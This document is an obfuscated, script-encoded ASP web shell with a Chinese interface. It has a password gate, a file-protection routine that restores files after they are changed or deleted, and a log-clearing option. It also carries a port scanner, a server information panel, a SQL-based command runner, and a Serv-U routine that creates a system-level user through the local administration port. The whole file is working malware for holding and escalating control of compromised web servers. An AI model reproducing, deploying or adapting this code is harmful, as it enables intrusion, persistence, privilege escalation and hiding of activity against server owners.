n4Y~╁╁@*@!*╁tYmn4Y╁vYd+!;n],0k╋╁@*&D4@!@*s.G0J@!╁,L╋╁@*BbcDkh4!dRsDGWc/k4OE'Vmbs1xG,B值,键P读B{+!sl7PUWDY;8{+wHOPDEw r@!╁PN╋╁@*Z%x+"rkPvB{nE^l-~4YlKn4Yx+sC PO!w k@!,╁PN╋╁@*z,D8@!@*Y^n^+/J@!╁PN╋╁@*xKrOwKz@!口端n/K的放开许允@*vkY.Wh[+SWssznZPw)2+AAXlZ9Rc2FO2sw)O;!$c ,13RO%yq*+cbR`w/mm0.+OU&-dDO+sl.Ch-wr21Kw/^b\.?'F!ZYjVKDOxKZw\AK?Ij-tS|_vx+!Vm\~xGrDwG@!╁,%╋╁@* WrOaWz@!口端KGj的放开许允@*BkOMWK9+SWV^bh9j'83 ~2XX;f%WfF &sw)RZZAWO1,30 %+Flcz%`wk+mCWM+Ox&wkDnD+slDmn'2kamP-k+^r7D+UwFZ!YjsWMY W/-\3:?e?'\SnCvxEVC-,xGkD2K@!╁~N╋╁@* WkDwK&@!放开火防@*BKZ:)102&-Ddkd-/D.Gn +arzVsC(WsM'nVb0G.hNDC[ lO?'z1ksKn^VlS+Mrs'/.+D+hCMln'd/mmz[nDmtU-d+^r7Dn?'O+UVG.DxW/O +.D!/'H3:?I?-tSnuB{+;Vm\~UKkYaG@!╁,L╋╁@* GrYaWJ@!LWJ~V;N4mU@*v4DlnLGd-OxLzoUbV!N+4mUwY6WdWMmr\'2Iz Kwr?'3Hq_ZzHmS)/}Sm5AFCE'n;^l\~UKkOwK@!╁,L╋╁@* WbYwKz@!f滤过wbz2mD@*vdM+Y^rsHYkM;^+U+^4Cx3wak2m:w/mr-M+?wO?sWMO W/DxDD!Z'\2:?e?'2H(_ZbtmSzZrdme2nCE'nEsC7PUWbOwK@!╁~%╋╁@*xWrOaW&@!y滤过2bz21Y@*B/M+DskwXOkME^nU+V(CxA-wb2^K'/mr\.nU-+!ZO+UVG.DxW/wt2P?Ij'2H&C;bH|Sz/rd{e2nCvxEVm-P WkD2G@!╁,L╋╁@*xGkO2Kz@!F滤过arzamO@*E/DnO^koXDrME^?V4mxAwwbw^K'/n^b\Dj-8!!DnjVKDDxGZw\AKj5Uw2gqu/zH{J);rJ{I3nCv{+!Vl7P GkDwG@!╁,L╋╁@*UKkYaGz@!口端态状X )^n@*╁╁YMWK/;OmYjn&KZ:-hnD/Xjw Wr/MnjYUDMEZ'+MntSXUb1ww^YxmhXU-2") KwrU-\SFu╁╁{+;Vm-P WrOaW@!╁%╋╁@* WrYaGJ@!口端据数 Hxzmn@*╁╁YMGnmYCfhqK/:-:O/H?- Gr/M+jYU+..!Zw+MntSXU)1w-^nDxC:Hj'2]z:srU-tJ|_╁╁'nE^l-~ WkD2W@!╁L╋╁@* GrYaWJ@!口端1%ff@*╁╁Dn4s;1DDGK'wmPRhf]-kUKkOmYUxkq-Mn\M+jP^lUrsD+:wVKDY G/-D+UVGDOUKZOx.D!Zw\AK?ej'HJ|_╁╁xEsm\,xWbYaG@!╁N╋╁@*UWbY2GJ@!口端c;H.@*╁╁D+(h;1DDKnwc/Hjxr'/1jVCn"-2])qKorUwtSF_╁╁'EVm\,UWbY2W@!╁L╋╁@*UKkYaGz@!码密cZg#@*╁╁NMWS/dlKwWZH. r'ZH#^l+]wAI):o}?wtSnC╁╁'E^C\,xGkDwG@!╁N╋╁@*xKrYaWz@!口端f/1j@*╁╁M+8:;HDDGn'fZg.Urq-S]6'+.lSO6Wj'j;|C╁╁{+!sl7PUWbY2G@!╁L╋╁@* GkDwWJ@!码密fZg.@*╁╁N.WAdklK-2/1jxr 'SI6wDChDWK?w`ZnC╁╁'E^C\,xGkDwG@!╁N╋╁@*xKrYaWz@!口端Ur:9l"@*╁╁ODGK'/.+Dn:mDCK'D+-.?w!c+7-Ub:9bI'HAP?I?wHd|u╁╁xEVm-P WkD2G@!╁N╋╁@* WrY2GJ@!码密Uks[l"@*╁╁.nD+:C.mnw/MnD+hmDmn-M+7.+U-TRy\wUb:Nz]-t2KUej-tSnC╁╁x+;sm\~xKrYaW@!╁%╋╁@*xWrOaW&@!表列卡网@*╁╁[ k$'+Tl3 kdwwbw^K'/n^b\Dj-D+?^G.Y W;YU+..!ZwHAP?I?w\d|C╁╁xn!VC\,UKkOaW@!╁L╋╁@* WbOwKz@!+slH.YEahW;@*BhC1M+DE2:G/'+hlg.+DE2hKZ-nhm1.+D;a:G;-^WDDxK/-D+jVKDOUKZY nDMEZ'\3KU5U-\SFuE'nE^C\,xGrDwW@!╁~N╋╁@*UWbOaW&@!值键的带自择选@*EB'E^C\,xGkDwG@!╁,L╋╁@*EI+!Vl7 dk4Y{+;VC-ctOlhntDRh.K0Rdr4Yv'L l4;xKPY1+^n/@!╁P%╋╁P@* xUmw/^Gm,NY@!@*.Y@!╁PN╋╁@*Om)n4Yx+sCx,on]9l+]xEsl7~ +[9k4'+aXD~Y!wUk@!╁P%╋~╁@*w@!取读值键表册注╁,~L╋╁@*Y/K2xNKtD+hPh.K0@!╁PN╋b`V2][m+I~8!/E@#@&3X+/!K`?4kUCxwEU`Utrjmx#*~@#@&k0,.n;!+kYcJK.KsrVE#@!@*EE,YtnU@#@&Gx,nMDGMPM+/!:~x6O@#@&kW~zww^rmmYkKUcD;!+dYcEhDGsbs+r#bx8PY4n @#@&?O,0dK(oP',?.\D ZM+COr4NnmD`JU^.kaYbxLRor^+jXkO+sr8%mYEb@#@&r0,.;;/D`JG+^/W Jb'8PO4x@#@&)waVk1COkKxvDn;;nkYcJh.Wwksnr#[E/KxE#{Er@#@&M+kwW / DNrDmO~`DVLEghDWwrs+{JLDn;;nkYcJh.Wwksnr#[EE@#@&.+k2KxdRxN@#@&UN,kW@#@&f(\,DVbU+BDVbUn @#@&MVrxn+{b2w^rmmYrG `Dn5!+dYvEhDGwk^+J*[r/W9+E#@#@&.sbx+yxD^kx+'\(mMVW@#@&%r@!h+DCP4YO2 +;;r7'EJMn6DnktrJP1W O+ YxJLb22^kmmOkKx`Mn5E/D`En.Gwks+rb[rKrhJ#'E@*J@#@&NE@!l~4D0'r[`.VLJ_nMWor^+'r'D;EdO`rnMWoksnr#'JL9+^ZGU{F@*@!8@*清空日志@!&4@*@!Jl@*,[ 4/ai@!WW Y~mKVG.{X+^sWS@*要想解除保护,直接关闭页面即可。@!JWGxD@*@!4.@*E@#@&0GD,nl1t~obV+i.^Prx,daVrD`zww^k1CYbWU`M+5;/YvEnMWsbsnJ*[rsrVnE*~-41.V6#@#@&wkVniMVxYMrs`obVjD^#@#@&k6PW/K(p wkV36b/Ykcok^+`Ds#~O4+U@#@&j+DPOaDP'~WkWp(c6a+U:+XYsbVcsbVnjMVSqBYD!n#@#@&D^rU+{Jr@#@&kW~gWOPDaYcbO3 NrWjDDnls~Dtn @#@&DVbxxYXY Il[)^VP,@#@&xN,rW@#@&k6P.VrU @!@*Msk +~O4+x@#@&D6OR1sK/n@#@&6/WoRVnYwks+vsrsjD^bRzYYMr8ED+k'f @#@&b0~ba2VbmCObWxc.;;+kOvJKMWwkVJ*'J;tCDr#xq,YtU@#@&/+D~hX6k^+n+~x,0dWopR;DnCD+KnaDsrVcwksjMV~DD!n#@#@&nVk+@#@&k+Y,hX6kVnnP{P6/G(p ;DnlDnK6OobV+cobVnjMsBY.!+BYD!+*@#@&x[Pb0@#@&sX0bs++RS.rYVbxnP)2aVrmmOkKxc.;EndD`EnMGwksJ*[J;W9nJ*@#@&bawsr1lYbGxvD+$;n/D`rn.Wor^+E#LEZKxEb{xWAc*[EPr'wksjMV[rP@!WW Y~mKVG.{X+^sWS@*被更改,已恢复@!JWGxD@*@!4.@*E'zw2Vb^lDkGUvD+5;/O`rKMWobVJ#LJ;Gxr#@#@&Vdn@#@&ba2VbmlDrGxvD;;+dOvJKDKok^+EbLJZGUr#xxKAv#'rPr[sbViD^[EP√@!4.@*r[ba2VbmlDrGxvD;;+dOvJKDKok^+EbLJZGUr#@#@&DaDR^^Wk+@#@&+ [Pb0@#@&Vdn@#@&k6~bawVb^CYbW `.+5;/O`rKDKsrsJ#'E;tCDrb{F~Dtx@#@&/OPsXWk^+nn,'P6dWo(R;.nlD+:+aYor^+csbs+`DsSDDEnb@#@&nVkn@#@&dY,:X6k^n+PxP6/GpoRZMnlD+KaOsbV`oksn`Ds~D.E~O.!+#@#@&x[PbW@#@&hH0bV++cADbYnVbxn~zww^rmmYkKUcD;!+dYcEhDGsbs+r#'E;WNnE*@#@&ba2^k^mYbWxvD5E/O`rn.GwkVE#LJZKUE#{xKhc#'E,J'sbs+`Ds'rP@!WG Y~mKsKDxM+9@*被删除,已恢复@!J0KUY@*@!8D@*J')awVb^lDkW c.+$E/O`EKMWok^nJ*[E/KxJb@#@&+UN,r6@#@& +XY@#@&k6~E(W;x9`d2^kYv)waVk1COkKxvDn;;nkYcJh.Wwksnr#[E/KxE#BE@!4.@*J*#@*{cZ~Y4+U@#@&Nrh,l/4Ghbm@#@&WGD,lktGhrxZPOW,*!@#@&Cd4Whr^{ldtKAbm'kw^kYvba2VbmCYbWUcM+;!n/D`Jh.GsbVJb[E/KxE#BE@!(D@*E*`ld4Khr#LE@!4.@*J@#@&x6D@#@&zw2VbmCObWxv.+$E+kOcJhDKsrVnE*[EZKUJ*'Cd4Whr^@#@&nx9~b0@#@&L,bwaVb^lDkGxvDn5!+/DcJhDWwrs+r#LJ/WUE*@#@&+^d+@#@&%E@!4D@*@!(D@*@!(.@*@!^xD+D@*保护进程丢失,请@!m~tM+W'r[i]d[J,dYHV+{EEY6DO[+^GMlOkKU)!x[nMVkUnp0GxDRS+rTtD)4KV9EJ@*重新生成@!&l@*保护进程。@!&^xY.@*r@#@&U[Pb0@#@&.+d2Kxd+cnx9@#@&n NPrW@#@&@#@&bW,/nk/bWxvJnF|r#@!@*`/n.hl/k~Y4+x@#@&r0,D;;+dOc0GDscJalddr#@!@*ErPOtU@#@&r6PM+;!+kOR6W.:vJ2Ck/J*xjk+DhCd/,Y4+U@#@&d/dkKU`r|FFr#'idDKlkd@#@&./aWxk+c.+9k.+1Y~;MV@#@&nVk+@#@&%E@!(D@*@!8D@*@!(D@*@!(@*@!9k-~mVkLU{mnxDnM@*@!6W YPkk.n'E vP1WsGM'BMnNE@*密码错~请挠道e@!&0KxD@*@!z8@*,@!8D@*@!4M@*@!8M@*@!8.@*@!8@*@![b\~mVbox{mUYD@*@!6WUO,/k.n'EFcE~^W^WM'vVrhB@*@!JWW Y@*@!J4@*@!&a@*@!z1n YnM@*r[4mm0;D^@#@&+ N~r6@#@&s/@#@&@#@&dk{J@!mnxOnM@*@!l@*@!zm@*@![b\PdOHVn'EAbNO4)W!!a6p2l9NrxT)f+a6i,CVbox{sn0DB@*@!8D@*@!6W.:,CmDkGU{BJ';MV'JE~s+O4W9'BaWkOB@*@!rxaEO~ l:xBal/kv~YHw'vwCdkhGD9vPkk"n{B +v@*P@!k 2!Y~DXa+'E/!8:bYvP7ls;'B杀进去ev@*@!zmUO+M@*r@#@&kW~bxdYMc?&~j(;#@!@*T,Y4+ ~NPd&@#@&+x9PbW@#@&Dn/aWUdR+ [@#@&+x9~r0@#@&@#@&jtrjmxxJ(;?,NU3╋6qP[UA╋0(P9UA╋0(,N 2╋#╁@*D(@!@*DxG0J@!放开@*[D'MGVKmPDUG0@!RcR R cR╁~[,hEgY.GaP[~╁l╁,[~wbOo.mYvL╋+kVA╋b╁@*M4@!闭关RcR cRRc╁~[,:EgO.WaPLP╁l╁P'~akO+T.lD`%╋UtK~T,@*~#╁cb*`O1+ xW;`╁,SxKkOwbD^dNRM.2vDYUU(P6q╋ +4K~1l {vW{c8 R~{PDn8sEURM.AP.KP2c%FFy{c8 RP{P.n(:E DM2P6(╋U+4K,D.2~W&╋DO/ UW1PUnaWRUUKm╋qP{~DEG:bKxKkD^+ xGZcxUG1╋╁i'9.WS//mKI 3mVxf(~M+djp╁'PsEHOMWw~'╁B╁[~wbOo.mY,[P╁{+1.EK?~lDl9I8RAG3S}SpUx.+9k7W.n╁x.D/UxK^╋#╁ WrO1+xUG1R$f}9z╁`O1+N4rYmnD;R.+7Dnj,'P UW1PYd╋O61,+hEdn"P.WM.2,x6╋bsE1O.Kw~~arD+LMlD`xmmU~4!?╋8EkP[U╋sq,91A╋╁/P╁LnhkD+4Y'╁PUr,/d+1GDh@*.4@!╁L╋#bqM+hkDRyDnskD`Y kv.Ykmx+skOn4Y╋DhkDP',+.+skD╋Ya+H╋W&P[xA╋O61╋Oa1╋0(~9x3╋0&~9x3╋*╁@*M4@!M+(hE POW Pdr,╁P[,bkvw:Dc%╋+kVA╋0(P[UA╋#╁@*D(@!D4h; PYGU,/rP╁,',1[ +,[P╁,DK~╁PLPHYMlOdvL╋+ks2╋D6+g╋b%~X6XP'PO.mYjwbcxmmj~^Vl/╋H9xnPKP,1OMlD/P{PN~DKs╋U+4K~bgNxcmbD+s;U/&P9xCPbHDDCYkcmbDnh!x/(~6q╋bPXV+d,O,##b`ahYvxnS,~brvw:DcY4ok"~xPgN +╋bPq~ Pa3n/,~brvw:OcD0nS,x,1OMlD/╋xt:~!,@*~60+nd,0q╋*╁R╁PB#kv2hYvDD?Uq~x,6V+d╋+kV3╋b*k`2hDPS6Xa,[~DDmY?akvUl1?~V^l/╋~ +t:~#*k`ahO`1kM+hEUd&PWq╋*2:D`[U!W4i~KK~!,x,k~MWw╋##╁ ╁~*;tvwr`MYjU&O#*;tvwkvUnSBF3#╁R╁~b;4`2kv.YUx(S*Etc2b`[kt~KY~*FBF_*╁R╁BbE4`2kv\n]MY? (~*Etv2r`9ktPxPaaXP.Ww╋b#╁c╁~b;4`wrc7+]DDj qS8~*EtvwbcNbH~',Y.CD?wb╋n/^2╋YXnH╋0&P9x3╋0(~9x3╋#╁@*.4@!Dn8sEx~OKx~/b~╁,[~*kvw:D`N╋n/^2╋Wq,NU3╋*╁@*D(@!D4:!U~YKx,/rP╁~',1[x~[,╁P.G,╁P[~HDDCYkcN╋+d^2╋D6+g╋#N~~*E4`akcUmm?,sVmZ╋19UnPKK,1ODCOkPxPN~DKs╋Un4KPbH9xn`1rM+h!xkqP9xm~#gY.lD/c^bD+s;xkqP6(╋bPX3+dPR~*#r`ahYvxnJ,~#rca:O`D4Tk],',1N +╋*~F,O~60+nd,~#bcwsY`DWnS,',1ODCOk╋xnt:~!,@*~a0++d~6q╋b╁O╁,S*kca:D`DD? (P{Pa3+d╋nkV2╋*bkvw:D~S#!tvwr`UC1?~V^CZ╋,xn4:P#brvwhYv^bDnsE /q,0&╋bwsYcN EG8`PW:~!,'Pb~.Ww╋xtPPT~{Pb╁O╁BbE4`2rvDYjU&PWq╋*2b`[ EK4j,WD~!,'~E4P.Gw╋#╁~╁Bb╁wb╁`:MGoRD/E5+.cDkswU~',wr╋b╁B╁~#╁O.Kw╁c:MGwROk+!;+M`DrVa?~',whO╋*╁@*D4@!@*M4@!@*8&@!=告报描扫@*(@!╁cL╋.nskOP{~FM+hrD╋x+4P,╁╁P@*@!,b╁ l^k╁`sDWwRDd+!;nD,0(╋╁@*sDW6&@!@*wz@!╁%╋╁@*B8F8Bx+;sm\~B CmkBx[bPBUn9NrtExwzDPExl1/Ex+slUPDE2Ub@!╁L╋╁@*vP lmk~v'E^l-PvhKYOE(v'k/Cs1PBOrs4;/ExwzDPEYks4!dB{+hl PO;axk@!╁%╋╁@*M4@!@*.8@!╁N╋╁@*E╁[O/rJDDGnL╁v'EsC7PBTE'nybd,BaKAD6+:B{d/mV^PEYanDB'2XDPBD.GwE':Cx~O!wUk@!╁%╋╁)D/rJ,YDGK@*D8@!╁N╋╁@*E!E'ykkPE╁'n&[╁v'EsC7PBarB{Nk,vaW~YX+PBxdklsm,vYX+Ov{+wzO,B2kEx:C PDEw k@!~╁L╋╁,)Kq,xC^U@*w@!╁%╋╁@*Ei+!.O'9+^4C/r[cYr:(;/cFh.K0BxOb:8EUUKPvE' WkDmm~BD/GwE'[G4Y+s~B8:DKWv':mx~:.G6@!╁%╋╁@*a&@!。作操列系行执内dS3uU在请。接连法无能可nq部外果结描扫则,网内是果如@*2@!@*2z@!b。确准不描扫网内对GH/,GH;用使荐推人个~慢较比度速~口端个多描扫果如v器描扫口端@*a@!╁L╋6k~N +╋b╁2b╁`:MGscY/;5+M'hq╋n/sn╋╁8RTRZ GyF╁xK&╋x+4O,╁╁'b╁wb╁csDGwRD/+!;.P6k╋Wk,NUn╋*╁YDK2╁`sDWw O/E$+.'OdbSODKK╋+kVn╋╁0l,&*SZ!1*BTZ%XB 2v*BF2*B,1%W~102&~+T&2~&2*q~2*B&+~q+╁{YdkdODKn╋Un4YP╁╁xb╁DDGw╁vhMWocYk+E$+M~0b╋!T!+G{{,'PD;W:k:O2kMmUR.+-.?╋b`D.WhxC^UP4;d╋r@#@&2Xn;EP`UtkUl oE `jtb?CU*#P@#@&?V+1O~Zm/P)mOrKxlmmd+,J\CbxHnU!JlHmr Hn Ev#@#@&Zmd+,J3NbYKGS+Dr@#@&;lV^~3NbYhWA+.cM+5EdYvJKGS+DKCDtE#*@#@&ZCk+,J?m\KWS+.J@#@&/C^VPUC\nWSn.`M+$En/OcrnGh.nmY4E*~Dn5!+dYvEUl-KHw+r#*@#@&1ld+,JLnDK+Mhk lV&UWWr)T+OKn.skUl^(x6Wcb=mldn,JKlTnzN[:WtN4r)hCob[N:W\[(`#=^lk+Prj^l nKDOJlj1lUnK.Yv#lo!xmPrKx~Ht9v#lUq{J@!(D@*@!0KDhP lhn{0WMhPs+Y4G['aWkY~l^ObWU'rEJr@*@!Om4Vn~Sk[Y4xrJ0l]rJPmVbLx{B^+ Yn.E@*@!D.PmVkTUxmxD+.@*@!P9PrN{d@*@!4~r9'6@*\U?}S,/K:hmx9+D@!z(@*@!JY[@*@!zO.@*@!YM~l^ko xvmxD+.B@*@!DN~k9xN@*@!8~bN'a@*;Wh:mU9:@!&(@*@!kxaED~YHwn'D+aO,xlsn'tHf,dry'2*~\Cs!+xJrrw1WUWboJE~@*[U4k2p@!8,k9'6@*jknDglh+:@!z8@*@!kxa;Y,YXanxY6DPUlhn{j~\msE'dC@*[x8dai@!4,r9'a@*nm//SWM[:@!J4@*@!bx2;DPYH2+{Y+XO~xm:'KP#)dj3?{q 2cX@*[x8dai@!k 2!Y~DXa+'kE(hkDP-l^EnxA6+1;Y@*@!JO[@*@!zDD@*@!&Om4s+@*@!z6W.h@*J)%~Uql?&xrJl&0,YDb:v.+$En/DRWGM:`r\HGJ#*@!@*JrP,K4+Ulald/SGD9'~OMk:c];;+kOc0GM:vJnr#*lk9'ODb:c];EdYc0WMhcJ`J*#l/nO,l[W;Gx 'd3"\2. 1D3b:nK4%AZ:`Jzf}9AcZGx +^ObWxrb)mNW;GUxcra+UPEKMW-k9nD{?}J}S29$cFInmdkhGMN{J[alkdhKD[[riidDP&9'r[k9ldYMp!+.X~x,Jn6^PsldODR[8KRaw|^tNd_+dVPEJ,'PM+5E/O 6WDscJtHfrb~[,JEJl/nO,Dnm"n/!VO~{Pl[G;WUxc3X+^!Y`/DD5;+MXb)&0~H}KPMnm"+/!sORArwPPtnU=fGPq4k^+~H}KP.n1In/!sDR3}s=/YMIdE^Y~',/O."+/!sY,[P14.`8&*P'P.n1In/!sYv!blM+m]nkEsYc\K\ng+XY)dWK2)Ax[Pb0ldYPMnm"+/!sOP{PgWOtrUT)dYM]+kEsO,'P]naVCmckY."+kEVD~r~JBJ'x(/2Ir#)kOD"+/!sOP{P"+2VC^`dYM]+kEsOBJ@!ESr[sYpE*)dDD"+/!VD~',Inw^l^nv/YM]+kEVDSE@*r~r[LYIE*)dYM]+kEsO,'P]naVCmckY."+kEVD~14DvFf#BJ@!8M@*J*l2 NPbWl/Y,l[W/G x~',HWDtrUT)L~.;;+kOc0GM:vJHtfrbPLPE@!(D@*ELP/D.I/E^Ol+ N,s;x^PbWU)1C/PE)^+6CE@#@&[ks~zVnXl`DVBKK2)zVn6mj.s{D+$;+kY`r;E#=KKwxbsnXlcb^n6mj.s*)kW~zVn6miMVxrJ,Ytx,)V6CjMVxEr[D5E/YcdnD7+M\CDrC(Vn/vEtDY2m4W/OE*[EJ@#@&Uqxr@!(D@*@!Ym8VPAk9Y4xE%!uvP(omKsGD{Bs+UEv~(W.N.'E!v~1+Vsdal^k L{BqEP1+V^wm[NbxL'E!v~mVkTU'Em+ OnDE@*@!Y.@*@!O9P4+bLtD'v+ZBP^G^/2l xE&v,l^ko 'E^+ YnDEP8L1WVK.'E:+ ;v@*服务器组件信息@!zDN@*@!&OM@*@!YM~l^kLU{BmnUD+.B@*@!DN~4+botD'E+!EPAk9Y4xE !ZvP(omKsGD{B[sosoowB@*服务器名@!JON@*@!O[,4o^G^W.'E:wsowswB@*,@!JON@*@!ON,4L^KVWMxB[sswoosE@*r[.+5;/ORknD7+.#mDkC8^+d`rjAI#AI|1bt2rb[r@!&Y9@*@!&DD@*@!WWM:PsnOtKN{wG/O~mmOkKU'EtOOa)z&ASh 4mr9E 1Wszka/R lkwvP lhn{BkaWWM:B,OCDT+D'v{8smxVB@*@!YMPCsboxxv1+UY.E@*@!DN,t+bo4O'E TB,hr[Dt'E+!ZBP(L^W^WM'vaoowsosE@*服务器qh@!&O9@*@!O[,4LmKsKDxEawsswswv@*,@!&Y9@*@!O9P4T^W^WD{v:swswsoB@*@!bx2ED~YHwnxEY+aOEPUlsn{BraB,/k.+{vFlB~\mV;n{BJL]+$E+kO ?D7+..C.bl8Vd`rS6/zS{)9GIE#LEE/OHV'B(WM[+M)TwXB@*@!bxw!OPDXwxv/!4skOB~-mV;+{v查询此服务器所在地BkYzs'B8GMNnD=Ta6v@*@!bxw!Y,OXa+xB4k[[xB,Uls+'EC^YbW B~\Cs!+xByv@*@!zO[@*@!zO.@*@!&0K.s@*@!DD,lVbo xB1+UYDv@*@!YN,4+botDxv ZB,hrNO4{B+!ZvP(o^G^WDxv[soswowB@*服务器时间@!zDN@*@!Y9~4TmGVKDxv[sswoswB@*,@!&Y9@*@!Y[P8L1WsWMxB[soowssv@*r[UWS'rP@!JY9@*@!JYM@*@!DD~l^kLU{BmUYDB@*@!ON,tkLtOxE TB,Ak9Y4xE !Tv,4LmKsKDxEawsswswv@*服务器;ni数量@!JY[@*@!YN,8o1WVK.xB[swsosov@*P@!zD[@*@!Y[~(omGsKDxB[owsowsE@*JLI5E/ORU+.-D.m.km4VdcJgjtA3Im6w{KI}/2U?6]UJ#'E@!zON@*@!JY.@*@!DDPmVbLx{B^+ Yn.E@*@!D[P4+kT4O'E ZB~hr[DtxByT!EP8L1WVG.{B:swowsoE@*服务器操作系统@!zY9@*@!ON,4LmKVG.{BawoswssE@*~@!JY9@*@!Y[~(o^W^GD{B:owssooE@*E["n$EnkYc?+M\..mDrl(VndvJrUE#LJ@!JO[@*@!zDD@*@!O.,lskTU'EmnUD+Dv@*@!Y[P4nbo4D'E !EPSrNDtxBy!Tv,4o1GVKD'E:oswswsv@* 3~服务器版本@!&Y9@*@!DN~8TmWsGM'vawowsowB@*P@!JY9@*@!DN~4TmGsKD'E:swsswov@*r["+5EndDRj+M-+M.C.bl4snk`E?A]j2]|?}sKqb"3J*[E@!JY[@*@!zYM@*J@#@&sK.~k{!,KGPq0@#@&jq{jqLJ@!OMPlsrTxxB1n YnMB@*@!Y9P4nkTtO'E Tv,hk9Ot{B ZTvP(o1WsW.xEaoswoswB@*ELr4Pcb~T#LE@!zO9@*@!YN,4T^W^W.'Eaoowsswv@*r[r(PckBF*[E@!&O9@*@!Y9~4TmGsKD'v:wsoswoEPC^kTx'^+6O@*r[64:`rSy#[r@!zDN@*@!&OD@*J@#@&H+aO@#@&%PU(@#@&2..cZVnCM@#@&@#@&W!x^DkKxPT+DuK:nKlT+c;MV#,@#@&KxP..WMPM+dEhn,xn6D~@#@&Nrh,tYO2,@#@&/O,tODw{?+M\.R1DnlD+G8N+mDcJtkmMGdW6Yc(\SuP:nE#,@#@&_YO2cWwnU,J!2:EBE.^~6lVk+,@#@&_YOwc/nU9`#,@#@&b0P_OOwcDl[XdOmYn@!@**PDtnU@#@&onO_KPnhCT+xrJ@#@&+XkD~0!x^YbWU~@#@&+ [Pb0P@#@&L+DC:KKnCL'8XDn/yAjP"`COOaR.+k2KxdAKNX*P@#@&/Y~tDY2x WY4rxT@#@&bW~+MDcx;:8nM@!@*!,Otx~nMDR/sl.P,@#@&+U9P6Ex1YbGx,@#@&s!x^ObWx,8XD+/y$jK"`7qU#~@#@&Nr:,dYMInO!Dx~@#@&Nr:,r8~P4kkZtmD;GN~H+XY/4mDZK[+,@#@&kO.IY!DUPx~rJ~@#@&oWMPrq,'Pq~:W~SU~`-&x*P@#@&K4r/;tCD;W[n,'Pzdm~`Hb[$`7q ~rFSq*#~@#@&(0,K4rkZtC.;W[+,@!,[uR!,Ktx,@#@&kY.IY;. P',dYMI+D;.x,[,Z4DcP4kdZ4CD;W[n*P@#@&3^/nP@#@&g+aDZ4lD;W9nP{P)/1Ac\bNAv-q ~k8Qq~8#*P@#@&dOMInY!.x,'~dDDInO!DUPL~;t.vZdxovK4r/;tCD;W[n*Pe,'C8!!,Q~Z&xD`H+aO;tCD;GN#b~@#@&kq~{PrF,Q,F~@#@&AxN,q6~@#@&1n6DP@#@&(XYd ~?K"~xPkYMInY;. P@#@&,~P,2..cZVnCM@#@&2 [,s; mDkW @#@&/lk+~JU+.-!J@#@&jjmmYbGU'M+$En/Ocr?il1OkKxEb@#@&kW~,xGY,rkx;s+Mkmv?`CmDkGx*PO4xPMn/aWxkn + N@#@&;/n.,'~YMr:vDn5!+/OcrEE#*@#@&wCk/,'PDDbh`M+5E/OcrwJ*b@#@&wWMO~',YMkh`.n$En/DcJaW.Or##@#@&1:[P{~DDrs`M+;!+kO`rmE#*@#@&W{YDbh`M+;!ndYvJ6Jb#@#@&b0~0{EJ,Y4n @#@&WxTwCY4c*@#@&Vk+@#@&0{s+6Yc0B b@#@&+x9~k6@#@&6O2wKDDPxPXl!T@#@&Oks+G;D'&@#@&^WLk ;k+.,',Jjk+M~J,[~Ek+.~LP\(/Dd0@#@&sGobxald/~x,JKlkdPrP'~al/d~LP-4;.d0@#@&NVNK:mrx,'~J f3JAK2G6Hzq1r~'P74;DJ0~',JRqhx!c! Tc!J~',\8ZMJ6P',J,nWMYgG'rP'P6Y22KDY,'P74ZMJW@#@&:DPxPEj&K3Pt)qgK3Hz1Z3E,[~\(/MSW@#@& +h9WsCk PxPrOj3:frt)qgJPL~-4;Dd0~[~E fG:mrx{oGs9/EUkZRTRZ ZuE,[,0YawK.Y,[~J-Oqk8u!r~[,\4;.J0,[,JRKt6AxC4^n'ZJ~',\4/.d0~[,E,Kt}|X'rPL~\(Z.S6@#@&UhEknD,'PrRj2:jU2]?3P`nEPL~\(Z.J6P[~E qK'Z ZRTc!rP[,\(/Dd0~[,JRKKDYgG'rP[,WOwaWMY~[~-(Z.S6~[,JRik+DxLKJ~[,-(Z.d0,[PrOhC/khGD9'G[rP[,-4;DS6~'P|@#@&P~P~~,P~J uWs+9rM'mlw'J~[,-(Z.d0,[PrOdGobx\+ksrs'J,'P74ZMJWPLPrO9kdC(Vn'ZEPLP-8;DSW~LPEO"n^nCDtk'FrPL~\(Z.S6P'~|@#@&,~P,PP,~EOg+Nj+^;M+x!r~[,\8/MS0~',JRCb[Cr9Nx'ZJ,'P74/Dd0~',JOzshmX/zssWSSKorxxTrP'P78ZMSW~LPJR/4lUoKm/dSWMN'ZJ,'P74/Dd0~',{@#@&~P,PP,~~J p!WOl3Um4s+{TJ,[~-(ZDJW,[~J \m6ik+M/SKobUnD(n{OqE,[P78ZMS0,'~J ?a+nNJrskOjax!rP'~74Z.J6P'PrRUwnNdk:bYGGh 'TJ,[~-(ZDdWPLP{@#@&~P,P,P~PERtla1Mi/Ddx FJ~',\8ZMJ6P',J qN^+:r:r;Y{vTTrP[,-4;DS6~'PrOU+d/rG Kr:6ED'RqrP[~-(Z.S6~LPE 2XwkM+{TJ,[~\(Z.J6P[,EO"lYbGiw{FrP'P-8;DJ0,'P|@#@&~,PP~~,PEO"CDkGGWSx'8J,'P74/Dd0~',JO"CYbW/;.nNbY{!EP'~74/DdWPLPER5EWOC;E.DUD'TrPLP\(ZMJ0,[~J p;GDlHmaksE:{TEPLP74/DJW,[~{@#@&P,P~~,PPERtlrxDn lU1+{?XkYhJ,[~\(Z.J6P[,EOhl/kAGD9KHwn']nTEslMEPLP-8;DSW~LPEO"CDkGk'gWxJ,'P74/Dd0~',JPz^m//{^l-'u")H3J;fKJ,'P74/.d0@#@&5!kOP{~rpi&KrP[,\(/Dd0@#@& +A;k+D{.+aVl1ncxh!/nDSE1)E~6b@#@&/nsmY~^m/nPUimmObW @#@&1lknP8@#@&/Y~C{?+M-+MRZMnCYr(LnmOcrHrmMG/K0O oHSuP:nE#@#@&mRGa+ PJV2:E~,J4YDwl&JF F !c!R8lEPLPaW.Y~',J&oKsNkEU&!wl[hbx&/8EBK.!+BPJr~,EJ@#@&CRk+U[,VWTrx!/+M~'P^WTkUwCdkP'PsOPLP[n^NWhCbx~[,Uh[K:mkx,[,U+SEd+MP'~$EkD@#@&k+Y,dn/kkKxcJCE*'C@#@&%J@!0G.sP:nO4W['E2K/OEP l:'ELW^NdE B@*E@#@&Lr@!k wED~Uls+{B;B~OHwn'E4k9NnUEPk[xEEvP7C^En{Br[Ek+M'JE@*@!zDN@*E@#@&Lr@!k wED~Uls+{B2B~OHwn'E4k9NnUEPk[xEwvP7C^En{Br[wm/k'JE@*@!zDN@*E@#@&Lr@!k 